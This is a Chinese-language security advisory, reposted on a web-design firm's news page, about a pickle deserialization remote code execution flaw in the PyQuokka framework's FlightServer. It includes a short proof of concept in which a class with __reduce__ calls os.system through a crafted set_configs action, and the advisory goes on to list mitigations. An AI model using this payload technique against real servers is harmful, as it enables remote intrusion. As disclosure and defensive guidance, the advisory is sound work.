尧图网站建设 尧图网络
  • 首页
  • 关于我们
  • 服务项目
  • 案例展示
  • 建站流程
  • 资讯中心
  • 联系我们
首页/资讯中心/详情

PyQuokka框架存在Pickle反序列化远程代码执行漏洞

PyQuokka框架存在Pickle反序列化远程代码执行漏洞
📅 发布时间:2026/6/19 23:54:41
本文详细分析了PyQuokka框架中FlightServer类的安全漏洞,攻击者可通过恶意Pickle反序列化实现远程代码执行,影响版本<=0.3.1,CVSS评分9.8分属于严重级别。

PyQuokka框架远程代码执行漏洞分析

漏洞概述

在PyQuokka框架的FlightServer类中,do_action()方法直接使用pickle.loads()对来自Flight客户端的动作体进行反序列化,未进行任何清理或验证,导致远程代码执行漏洞。

受影响版本

  • 受影响版本:<= 0.3.1
  • 已修复版本:无

技术细节

漏洞位置

漏洞代码位于pyquokka/flight.py第283行,其中来自Flight客户端的任意数据直接传递给pickle.loads()。

攻击场景

当FlightServer配置为监听0.0.0.0时(如第339行提供的服务器示例所示),网络上的攻击者可以通过set_configs动作发送恶意的pickle载荷来执行任意远程代码。

其他漏洞点

除了set_configs动作外,以下函数也包含漏洞点:

  • cache_garbage_collect
  • do_put
  • do_get

这些函数都使用pickle.loads来反序列化不受信任的远程数据。

漏洞复现

步骤1:启动易受攻击的服务器

server = FlightServer("0.0.0.0", location = "grpc+tcp://0.0.0.0:5005")
server.serve()

步骤2:构造恶意载荷

class RCE:def __reduce__(self):import osreturn (os.system, ('ls -l',))import pickle
action_body = pickle.dumps(RCE())
action = pyarrow.flight.Action("set_configs", action_body)

当服务器收到此载荷时,FlightServer.do_action()方法在第283行调用pickle.loads(action.body.to_pybytes()),通过Python的pickle反序列化机制触发恶意代码执行。

影响范围

  • 完全系统沦陷
  • 数据泄露
  • 网络内横向移动
  • 拒绝服务攻击
  • 持久后门安装

缓解措施

替换不安全的反序列化

使用更安全的替代方案替换pickle.loads():

  • 简单数据结构使用JSON序列化
  • 复杂数据使用Protocol Buffers或MessagePack
  • 如果必须使用pickle,实现自定义Unpickler并限制find_class()方法仅允许白名单类

网络安全

  • 如果服务仅用于内部使用,绑定到localhost(127.0.0.1)而不是0.0.0.0
  • 实现身份验证和授权机制

安全警告

在公共接口上启动服务时,显示明确的安全警告以告知用户风险。

参考信息

  • GHSA-f74j-gffq-vm9p
  • https://github.com/marsupialtail/quokka/blob/master/pyquokka/flight.py#L283
  • https://nvd.nist.gov/vuln/detail/CVE-2025-62515

安全评分

  • CVSS总体评分:9.8(严重)
  • EPSS评分:0.285%(第52百分位)

弱点分类

  • CWE-502:不可信数据的反序列化
    更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
    对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)

公众号二维码

公众号二维码

相关新闻

  • 2025年氢氧化镁厂家权威推荐榜:矿石氢氧化镁/水镁石氢氧化镁/阻燃剂氢氧化镁/改性氢氧化镁源头企业综合评测与采购指南
  • Nexpose 8.25.0 for Linux Windows - 漏洞扫描
  • NVIDIA —— 智能仓储

最新新闻

  • CANN/asc-devkit asc_mul_add函数
  • 【新】5p216基于Hadoop的CBA球员数据可视化分析系统的设计3(设计源文件+万字报告+讲解)(支持资料、图片参考_相关定制)_文章底部可以扫码
  • 探索Awesome Agent Skills:如何通过1000+官方技能库提升AI助手生产力
  • HackberryPiCM5磁吸背板应用:如何使用MagSafe配件增强便携性
  • purl.js片段解析实战:处理hash路由和URL锚点参数
  • CANN/asc-devkit SIMD矢量标量比较API

日新闻

  • 5分钟掌握Python进化算法:Geatpy高性能优化工具完全指南
  • Microchip 24AA044 EEPROM选型与应用全指南:从参数解析到实战编程
  • 华为的鸿蒙到底有多牛?为什么称作遥遥领先?

周新闻

  • 3步解锁iOS设备:applera1n激活锁绕过完全指南
  • 39 2026 人工智能证书终极盘点,普通人选 AI 证书可以从这些方向入手
  • Redis 暴露公网有多危险?从端口检查到补救步骤

月新闻

  • 【总结】入门篇:50句话让你记住架构核心概念
  • WeChatMsg技术方案解析:实现Mac微信数据自主管理的完整解决方案
  • WeChatMsg:革新性微信数据备份方案,打造你的专属数字记忆库

关于尧图

  • 公司简介
  • 团队介绍
  • 企业文化
  • 荣誉资质

服务项目

  • 定制开发
  • 电商建站
  • UI 设计
  • 运维服务

快速链接

  • 案例展示
  • 建站流程
  • 常见问题
  • 资讯中心

联系方式

  • 📍北京市朝阳区互联网产业园 A 座 10 层
  • 📞400-888-8888
  • ✉️contact@rkmt.cn
  • 🕐周一至周日 9:00-21:00

© 2024 北京尧图网络科技有限公司 版权所有 | 京 ICP 备 XXXXXXXX 号